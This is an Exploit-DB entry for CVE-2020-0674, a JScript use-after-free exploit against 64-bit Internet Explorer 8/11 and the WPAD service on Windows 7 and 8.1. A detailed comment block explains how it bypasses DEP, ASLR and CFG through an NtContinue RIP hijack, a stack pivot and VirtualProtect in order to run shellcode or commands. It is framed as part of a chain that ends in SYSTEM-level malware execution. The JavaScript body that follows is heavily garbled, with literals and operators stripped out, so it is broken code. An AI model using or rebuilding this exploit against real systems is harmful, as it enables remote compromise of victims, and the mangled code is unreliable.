标题: Microsoft Internet Explorer 11 and WPAD service 'Jscript.dll' - Use-After-Free EDB-ID: 49863 CVE: 2020-0674 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2021-05-13 漏洞利用脚本: # Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free
# Date: 2021-05-04
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64
# Tested on: Windows 7 x64, Windows 8.1 x64
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, CFG
# Original (IE-only/Windows 7-only) exploit credits: maxpl0it
# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar

/*
________                 ___.    .__                 _________  __
\______ \    ____   __ __\_ |__  |  |    ____       /   _____/_/  |_ _____  _______
 |    |  \  /  _ \ |  |  \| __ \ |  |  _/ __ \      \_____  \ \   __\\__  \ \_  __ \
 |    `   \(  <_> )|  |  /| \_\ \|  |__\  ___/      /        \ |  |   / __ \_|  | \/
/_______  / \____/ |____/ |___  /|____/ \___  >    /_______  / |__|  (____  /|__|
        \/                    \/            \/             \/             \/
Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain

                            ______________
                            | Remote PAC | 
                            |____________|  
                                   ^
                                   | HTTPS
_______________  RPC/ALPC   _______________   RPC/ALPC   _______________
| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe |
|_____________|             |_____________| <----------- |_____________|
                                   |          RPC/Pipe
                                   |
               _______________     | 
               | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM
               |_____________|

~

Component

JavaScript file containing CVE-2020-0674 UAF targetting IE8/11 and WPAD 64-bit
on Windows 7 and 8.1 x64. It may be used as an alternative RCE attack vector in
the exploit chain (in which case it should be used in conjunction with the
stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a
stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the
full exploit chain, Windows 7 is unsupported by the required stage two WPAD
sandbox escape shellcode.

________________  CVE-2020-0674 _______________________  RPC/ALPC   _______________
| iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe |
|______________|                | shellcode (heap)    |             |_____________|
                                |_____________________|              

~

Overview

This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11
64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses
for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP
hijack and stack pivot. Notably, this exploit does not contain bypasses for
Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in
Windows 10.

~

Design

The UAF is a result of two untracked variables passed to a comparator for the
Array.sort method, which can then be used to reference VAR structs within
allocated GcBlock regions which can subsequently be freed via garbage
collection. Control of the memory of VAR structs with active JS var
references in the runtime script is then used for arbitrary read (via BSTR)
and addrof primitives.

Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP
on a user defined shellcode stored within a BSTR on the heap. This is achieved
through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap)
and a dynamically resolved stack pivot ROP gadget.

NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET
                                           RCX = Shellcode address
                                           RDX = Shellcode size
                                           R8 = 0x40
                                           R9 = Leaked address of BSTR to hold out param    
                                           RSP = Real stack pointer             
                                           R11 = Artificial stack
|-----------------------------|            ^
| 2MB stack space (heap)      |            |
|-----------------------------|            |
| Heap header/BSTR len align  |            |
|-----------------------------|            |
| KERNEL32.DLL!VirtualProtect | <----------|
|-----------------------------|
| Shellcode return address    ]
|-----------------------------|   

The logic flow is:
1. A fake object with a fake vtable is constructed containing the address
   of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive
   is used for RIP hijack in conjunction with a pointer to a specially
   crafted CONTEXT structure in RCX as its parameter. 
2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters
   to KERNEL32.DLL!VirtualProtect.
3. The address of VirtualProtect is the first return address to be
   consumed on the new (artificial) stack after the stack pivot.
4. VirtualProtect disables DEP on the shellcode region and returns to that
   same (now +RWX) shellcode address stored as the second return address on
   the pivoted stack.
   
Notably, the stack pivot was needed here due to the presence of CFG on
Windows 8.1, which prevents NtContinue from being used to change RSP to an
address which falls outside the stack start/end addresses specified in the
TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP
to be planted in the CONTEXT structure so that NtContinue would consider its
new RSP valid.

The exploit will not work on Windows 10 due to enhanced protection by CFG:
Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default.
        
~

Credits

maxpl0it      - for doing the original analysis and PoC for CVE-2020-0674
                on IE8/11 on Windows 7 x64.
            
HackSys Team  - for tips on the WPAD service and low level JS debugging.
                                                                    
*/






 PayloadType   
 CommandStr   
 WindowsVersion   
 PacFile  
 EnableDebug  
 EnableTimers  
 AlertOutput  






 SortArray    
 i   i   i SortArrayi    






 TimeStart
 ReadCount
 ScriptTimeStart   

  
    ReadCount  
    TimeStart   


 Message 
     TotalTime     TimeStart
    
    EnableTimers 
        AlertOutput 
              Message    TotalTime    ReadCount
        
         
            console  Message    TotalTime    ReadCount
        
    


 Message 
    EnableDebug  
        AlertOutput 
            Message
        
         
            consoleMessage 
        
    







 UntrackedVarSet
 VarSpray
 VarSprayCount   
 NameListAnchors
 NameListAnchorCount   
 SortDepth  
    
 Untracked1 Untracked2 
    Untracked1  VarSpraySortDepth
    Untracked2  VarSpraySortDepth  
    
    SortDepth   
        VarSpray    
         
        UntrackedVarSetUntracked1
        UntrackedVarSetUntracked2
    
     
        SortDepth  
        
        
        
         
            SortArraySortDepthGlitchedComparator
        
        ex 
            VarSpray    
             
        
        
        UntrackedVarSetUntracked1
        UntrackedVarSetUntracked2
    
    
     


  
    SortDepth  
    VarSpray   
    NameListAnchors   
    UntrackedVarSet   
     i   i  NameListAnchorCount i NameListAnchorsi    
     i   i  VarSprayCount i VarSprayi   
    
    SortArrayGlitchedComparator 







 AnchorObjectsBackup
 LeakedAnchorIndex  
 SizerPropName  
 MutableVar
 ReClaimNameList
 InitialReClaim  

 Value PropertyName 
     
    AnchorObjectsBackupLeakedAnchorIndex   
     
    AnchorObjectsBackupLeakedAnchorIndex   
    AnchorObjectsBackupLeakedAnchorIndexSizerPropName   
    AnchorObjectsBackupLeakedAnchorIndex   
    AnchorObjectsBackupLeakedAnchorIndex  
    AnchorObjectsBackupLeakedAnchorIndexPropertyName  Value 
    ReadCount


 Value PropertyName 
     PrecisionReClaimAllocCount   
     
    
    InitialReClaim 
        AnchorObjectsBackupLeakedAnchorIndex  
        InitialReClaim  
        PrecisionReClaimAllocCount  
        AnchorObjectsBackupLeakedAnchorIndex    
    
    
     i   i  PrecisionReClaimAllocCount i 
        i  LeakedAnchorIndex AnchorObjectsBackupi  
    
    
     
    
     i   i  PrecisionReClaimAllocCount i 
        i  LeakedAnchorIndex AnchorObjectsBackupi   
        AnchorObjectsBackupiSizerPropName   
        AnchorObjectsBackupi   
        AnchorObjectsBackupi  
        AnchorObjectsBackupiPropertyName  Value 
    
    
    ReadCount


 Type ObjPtrLow ObjPtrHigh NextPtrLow NextPtrHigh 
     CharCodes   
    
    CharCodes
         
        Type   
        
        ObjPtrLow   ObjPtrLow     ObjPtrHigh   ObjPtrHigh    
        
        NextPtrLow   NextPtrLow     NextPtrHigh   NextPtrHigh    
        
     StringfromCharCode CharCodes


 Address 
      Addresslow   Addresshigh   
     MutableVarlength     


 Address 
      Addresslow   Addresshigh   
     MutableVarlength      MutableVarlength      


 Address 
      Addresslow   Addresshigh   
     LowWord  MutableVarlength      MutableVarlength      
      Addresslow   Addresshigh   
     HighWord  MutableVarlength      MutableVarlength      
     LowWord  HighWord  


 Address 
      Addresslow   Addresshigh  
     LowLow  MutableVarlength      MutableVarlength      
      Addresslow   Addresshigh  
     LowHigh  MutableVarlength      MutableVarlength      
      Addresslow   Addresshigh  
     HighLow  MutableVarlength      MutableVarlength      
      Addresslow   Addresshigh  
     HighHigh  MutableVarlength      MutableVarlength      
     HighLow  HighHigh   LowLow  LowHigh  


 ObjVarAddress ObjVarValue  
    ObjVarValue  ObjVarAddresslow     ObjVarAddresshigh  
     LowLow  MutableVarlength      MutableVarlength      
    ObjVarValue  ObjVarAddresslow     ObjVarAddresshigh  
     LowHigh  MutableVarlength      MutableVarlength      
    ObjVarValue  ObjVarAddresslow     ObjVarAddresshigh  
     HighLow  MutableVarlength      MutableVarlength      
    ObjVarValue  ObjVarAddresslow     ObjVarAddresshigh  
     HighHigh  MutableVarlength      MutableVarlength      
     DerefObjVarAddress  HighLow  HighHigh   LowLow  LowHigh    
     DerefObjVarAddress 







 ModuleBase TargetExportNameTable 
     FileHdrRva  ModuleBasehigh ModuleBaselow  
     EATRva  ModuleBasehigh ModuleBaselow  FileHdrRva  
    
    EATRva 
         TotalExports  ModuleBasehigh ModuleBaselow  EATRva  
         AddressRvas  ModuleBasehigh ModuleBaselow  EATRva  
         NameRvas  ModuleBasehigh ModuleBaselow  EATRva  
         OrdinalRvas  ModuleBasehigh ModuleBaselow  EATRva  
         MaxIndex  TotalExports
         MinIndex  
         CurrentIndex  MathTotalExports  
         TargetTableIndex  
         BinRes  
         TrailingNullWord  
        
        TargetExportNameTableTargetExportNameTablelength       
            TrailingNullWord  
        
        
        TotalExports  
             CurrentNameRva  ModuleBasehigh ModuleBaselow  NameRvas  CurrentIndex

             TargetTableIndex  TargetExportNameTablelength 
                 CurrentNameWord  ModuleBasehigh ModuleBaselow  CurrentNameRva    TargetTableIndex
                 TargetExportNameWord  TargetExportNameTableTargetTableIndex  
                 SanitizedCurrentNameWord  CurrentNameWord
                 FinalTableIndex  
                
                TargetTableIndex    TargetExportNameTablelength 
                    FinalTableIndex  
                
                
                BinRes  TargetExportNameWord SanitizedCurrentNameWord

                BinRes 
                    TargetExportNameWord  TargetExportNameTableTargetTableIndex    
                    CurrentNameWord  ModuleBasehigh ModuleBaselow  CurrentNameRva    TargetTableIndex  
                    SanitizedCurrentNameWord  CurrentNameWord

                    TrailingNullWord  FinalTableIndex 
                         Ordinal  ModuleBasehigh ModuleBaselow  OrdinalRvas  CurrentIndex
                         MainExport  ModuleBasehigh ModuleBaselow  ModuleBasehigh ModuleBaselow  AddressRvas  Ordinal
                         MainExport
                    
                        
                    BinRes  TargetExportNameWord SanitizedCurrentNameWord

                    BinRes 
                        FinalTableIndex 
                             Ordinal  ModuleBasehigh ModuleBaselow  OrdinalRvas  CurrentIndex
                             MainExport  ModuleBasehigh ModuleBaselow  ModuleBasehigh ModuleBaselow  AddressRvas  Ordinal
                             MainExport
                        
                        
                        TargetTableIndex
                    
                     
                        TargetTableIndex  
                        
                    
                
                 
                    TargetTableIndex  
                    
                
            
            
            BinRes    
                MaxIndex  CurrentIndex 
                    
                    
                
                
                MaxIndex  CurrentIndex
                CurrentIndex  MathCurrentIndex  MinIndex  
             
              BinRes    
                MinIndex  CurrentIndex 
                    
                    
                
                
                MinIndex  CurrentIndex
                CurrentIndex  MathCurrentIndex  MaxIndex  
            
            
            CurrentIndex  MaxIndex  CurrentIndex  MinIndex 
                
                
            
        
    
    
      


 ModuleBase TargetModuleNameTable  
     ExtractedAddresss   
     FileHdrRva  ModuleBasehigh ModuleBaselow  
     ImportDataDirAddress  ModuleBasehigh ModuleBaselow  FileHdrRva   
     ImportRva  ImportDataDirAddress
     ImportSize  ImportDataDirAddresshigh ImportDataDirAddresslow   
     DescriptorAddress  ModuleBasehigh ModuleBaselow  ImportRva
    
    ImportSize   
         NameRva  DescriptorAddresshigh DescriptorAddresslow   
        
        NameRva   
            TargetModuleNameTable ModuleBasehigh ModuleBaselow  NameRva 
                 ThunkRva  DescriptorAddresshigh DescriptorAddresslow  
                ExtractedAddresss  ModuleBasehigh ModuleBaselow  ThunkRva   
                
            
            
            ImportSize  
            DescriptorAddresslow   
        
         
            
        
    
    
     ExtractedAddresss


 Address 
    Addresslow  Addresslow     
    
     
        Address    
            Addresshigh Addresslow      
                 Addresshigh Addresslow  
            
        
        
        Addresslow  
    
    
      


 ModuleBase TargetModuleNameTable 
     RandomImportAddress  ModuleBase TargetModuleNameTable
    
    RandomImportAddresslow  RandomImportAddresshigh 
         RandomImportAddress
    
    
      







 StrWord 
     Sanitized  
    
    StrWord   
        StrWord     
            Sanitized   
        
         
            Sanitized  StrWord
        
    
    
     Sanitized


 TargetNum CmpNum  
    TargetNum  CmpNum 
         
    
    
     
        TargetNum    CmpNum   
             
        
         TargetNum    CmpNum   
             
        
        
        TargetNum  TargetNum  
        CmpNum  CmpNum  
    


 Dword 
     Unicode  StringDword  
    Unicode  StringDword  
     Unicode


 Value 
     StringfromCharCode Valuelow   Valuelow     Valuehigh   Valuehigh    


 Table 
     Unicode  
    
     i   i  Tablelength i 
        Unicode  Tablei
    

     Unicode


 DwordArray 
     ByteArray  
    
     i   i  DwordArraylength i 
        ByteArrayDwordArrayi  
        ByteArrayDwordArrayi    
    
    
     StringfromCharCode ByteArray


 StrDwordTable LeakAddress  
     TargetTableIndex  
    
     TargetTableIndex  StrDwordTablelength 
         LeakStrWord  LeakAddresshigh LeakAddresslow    TargetTableIndex
         SanitizedStrWord  LeakStrWord
         TableWord  StrDwordTableTargetTableIndex  
        
        TableWord  SanitizedStrWord 
            LeakStrWord  LeakAddresshigh LeakAddresslow    TargetTableIndex  
            SanitizedStrWord  LeakStrWord
            TableWord  StrDwordTableTargetTableIndex    
            
            TableWord  SanitizedStrWord 
                TargetTableIndex    StrDwordTablelength 
                     
                
                
                TargetTableIndex
            
             
                
            
        
         
            
        
    
    
     


 High Low 
     High Low


 High Low 
    
    
     Low  Low  Low  Low 
           Low
    
    
     High  High  High   
           High
    

     Low   
        Low  
    

     High    Low


 Value 
     Low  Value  
    
     Low   
        Low  
    

     High  Value  Low
    
    High  
    
     High    High   
          Value
        Loew  
        High  
    
    
      low Low high High 


 High Low 
      low Low high High 







 HintExportAddress MaxDelta Data DataMask MagicOffset 
     MaxHighAddress  HintExportAddresshigh HintExportAddresslow  MagicOffset  MaxDelta
     MinLowAddress  HintExportAddresshigh HintExportAddresslow  MagicOffset  MaxDelta
     LeakAddress  HintExportAddresshigh HintExportAddresslow  MagicOffset
     LeakFunc  LeakDword64 
     InitialAddress  LeakAddress
     IndexDelta
    
    MinLowAddresslow  HintExportAddresslow 
        MinLowAddresslow  HintExportAddresslow 
    
    
      Data    MinLowAddresshigh  MinLowAddresslow    MaxHighAddresshigh  MaxHighAddresslow    LeakAddresshigh  LeakAddresslow    HintExportAddresshigh  HintExportAddresslow
    
    DataMask   
        LeakFunc  LeakWord64
    
    
     LeakedData  LeakAddress

    LeakedData  DataMask  Data 
          MagicOffset
    
     
         HighAddress  LeakAddresshigh LeakAddresslow  
         LowAddress  LeakAddresshigh LeakAddresslow  

        LeakAddress   

        LowAddresslow  MinLowAddresslow  HighAddresslow  MaxHighAddresslow 
            LowAddresslow  MinLowAddresslow 
                LeakedData  LowAddress
                
                LeakedData  DataMask  Data 
                      LowAddresshigh  LowAddresslow
                    LeakAddress  LowAddress
                    
                
                
                LowAddresslow  
            
            
            HighAddresslow  MaxHighAddresslow 
                LeakedData  HighAddress
                
                LeakedData  DataMask  Data 
                    LeakAddress  HighAddress
                    IndexDelta  LeakAddresslow  InitialAddresslow
                      HighAddresshigh  HighAddresslow    IndexDelta  
                    
                
                
                HighAddresslow  
            
        
    
    
     LeakAddress







 NewRSP ArtificialStackAddress StackPivotAddress VirtualProtectAddress ShellcodeAddress ShellcodeSize WritableAddress 
       
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    ShellcodeAddress  
    ShellcodeSize  
      
    NewRSP  
      
      
      
      
    WritableAddress  
      
    ArtificialStackAddress  
      
      
      
      
    StackPivotAddress 


 CommandLineAddress StackPtr WinExecAddress 
       
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    CommandLineAddress  
      
      
    StackPtr  
      
      
      
      
      
      
      
      
      
      
      
    WinExecAddress 


 NtContinueAddress 
     FakeVtable  
     Padding  
    
      i   i     i 
        Paddingi  
    
    
    FakeVtable  Padding
    FakeVtable  NtContinueAddresslow
    FakeVtable  NtContinueAddresshigh
    
      i     i     i 
        Paddingi  
    
    
    FakeVtable  Padding
     FakeVtable


 LFHBlocks    
    
  
    PayloadType    PayloadType   
        
         
    

    
    
    WindowsVersion   
        ReClaimNameList  ReClaimIndexNameList
        NameListAnchorCount   
    
     
        ReClaimNameList  ReClaimBackupNameLists
        
        PacFile 
            NameListAnchorCount  
        
         
            NameListAnchorCount   
        
    
    
     
    
    

     i   i   i  
        Temp   
        Temp   
        LFHBlocksTemp
    
    
    
    
    
      UntrackedVarSetlength
    
     i   i  NameListAnchorCount i 
        NameListAnchorsiSizerPropName   
        NameListAnchorsi   
        NameListAnchorsi   
        NameListAnchorsi  i 
    
    
    AnchorObjectsBackup  NameListAnchors 
    
    
    
     LeakedVvalAddress  
     TypeConfusionAligned  
    
     i   i  UntrackedVarSetlength i 
         UntrackedVarSeti    UntrackedVarSeti     
            LeakedVvalAddress  UntrackedVarSeti   
            TypeConfusionAligned  
            
        
    
    
    TypeConfusionAligned 
        
         
    
    
    LeakedVvalAddress  LeakedVvalAddress 
    
    LeakedVvalAddresshigh  LeakedVvalAddresslow 
        
         
    
    
    
    
     PrimaryVvalPropName   

     i   i   i 
        PrimaryVvalPropName   LeakedVvalAddresslow LeakedVvalAddresshigh   
    
    
    PrimaryVvalPropNamelength   PrimaryVvalPropName  
    
    
    
    
    
     i   i  NameListAnchorCount i 
        NameListAnchorsiPrimaryVvalPropName  
    
    
    
    
     LeakedVvalVar

     i   i  UntrackedVarSetlength i 
         UntrackedVarSeti   
            LeakedAnchorIndex  UntrackedVarSeti   
            LeakedVvalVar  UntrackedVarSeti 
            
        
    
    
      LeakedAnchorIndex
    
    
    
     
    
    LeakedVvalVar     
        
         
    

    
    
         
    PrimaryVvalPropName   

     i   i   i 
        PrimaryVvalPropName   LeakedVvalAddresslow   LeakedVvalAddresshigh   
    
    
    PrimaryVvalPropNamelength   PrimaryVvalPropName   
    
    
    
    
    
     i   i  NameListAnchorCount i 
        NameListAnchorsiPrimaryVvalPropName  
    
    
     i   i  UntrackedVarSetlength i 
         UntrackedVarSeti   
            UntrackedVarSeti     
                MutableVar  UntrackedVarSeti
                
            
        
    
    
    
    
         
    
    MutableVar     
        
         
    
    
    

     MutableVarAddress  LeakedVvalAddresshigh LeakedVvalAddresslow  
    
    MutableVarAddress    
        
         
    
    
    
    
     DissectedObj   
     ObjectAddress  LeakedVvalAddress DissectedObj
     VtableAddress  ObjectAddress
     JScriptBase  VtableAddress
    
    JScriptBaselow  JScriptBasehigh 
        
         
    
     
          JScriptBasehigh  JScriptBaselow
    
    
    
    
     Kernel32Base  JScriptBase  
    
    Kernel32Baselow  Kernel32Basehigh 
        
         
    
     
          Kernel32Basehigh  Kernel32Baselow
    
    
     VirtualProtectAddress
     WinExecAddress
    
    PayloadType   
        
        
        VirtualProtectAddress  Kernel32Base       
        
        VirtualProtectAddresslow  VirtualProtectAddresshigh 
            
             
        
        
          VirtualProtectAddresshigh  VirtualProtectAddresslow
    
     PayloadType   
        
        
        WinExecAddress  Kernel32Base 
        
        WinExecAddresslow  WinExecAddresshigh 
            
             
        
    
    
     MsvcrtBase  JScriptBase  

    MsvcrtBaselow  MsvcrtBasehigh 
        
         
    
    
     NtdllBase  MsvcrtBase  
    
    NtdllBaselow  NtdllBasehigh 
        
         
    
    
     NtContinueAddress  NtdllBase  
    
    NtContinueAddresslow  NtContinueAddresshigh 
        
         
    
    
    
                  
     CSessionAddress  ObjectAddresshigh ObjectAddresslow   
     LeakedStackPtr  CSessionAddresshigh CSessionAddresslow  
    LeakedStackPtrlow   
    
    
    
     FakeVtable  NtContinueAddress
    FakeVtable  FakeVtable FakeVtablelength
     FakeVtableAddress  LeakedVvalAddress FakeVtable
     MutableVarAddress  LeakedVvalAddresshigh LeakedVvalAddresslow  
     FakeObjAddress  LeakedVvalAddresshigh LeakedVvalAddresslow  
     Context

    PayloadType   
        
    
         ShellcodeStr  Shellcode
         ShellcodeLen   ShellcodeStrlength  
        ShellcodeStr  ShellcodeStr ShellcodeStrlength 
         ShellcodeAddress  LeakedVvalAddress ShellcodeStr
        
        
        
         Padding     
         ArtificialStackStr  Padding 
        ArtificialStackStr  VirtualProtectAddresslow
        ArtificialStackStr  VirtualProtectAddresshigh
        ArtificialStackStr  ShellcodeAddresslow
        ArtificialStackStr  ShellcodeAddresshigh
        ArtificialStackStr  ArtificialStackStr ArtificialStackStrlength
         ArtificialStackAddress  LeakedVvalAddress ArtificialStackStr
        ArtificialStackAddresslow  ArtificialStackStrlength     
        
         WritableStr  
        WritableStr  
        WritableStr  WritableStr WritableStrlength
         WritableAddress  LeakedVvalAddress WritableStr
        
        
    
         StackPivotAddress
         HintExportAddress  MsvcrtBase     
         MagicOffset
        
        HintExportAddresslow  HintExportAddresshigh 
            
             
        
        
        WindowsVersion   
            MagicOffset     
        
         
            MagicOffset     
        
        
        
        
        
        StackPivotAddress  HintExportAddress    MagicOffset
        
        StackPivotAddresslow  StackPivotAddresshigh 
            
             
        
        
          StackPivotAddresshigh  StackPivotAddresslow
        Context  LeakedStackPtr ArtificialStackAddress StackPivotAddress VirtualProtectAddress ShellcodeAddress ShellcodeLen WritableAddress
          ArtificialStackAddresshigh    ArtificialStackAddresslow   ShellcodeAddresshigh  ShellcodeAddresslow    FakeObjAddresshigh  FakeObjAddresslow
    
     PayloadType   
        CommandStr  CommandStr CommandStrlength
         CommandStrAddress  LeakedVvalAddress CommandStr
        Context  CommandStrAddress LeakedStackPtr WinExecAddress
    
    
     RipHijackPropName   LeakedVvalAddresslow   LeakedVvalAddresshigh     FakeVtableAddresslow FakeVtableAddresshigh    Context 
    
    
    
     RipHijackPropName
     TotalTime     ScriptTimeStart
      TotalTime    ReadCount
     MutableVar


 url host URL: https://www.exploit-db.com/exploits/49863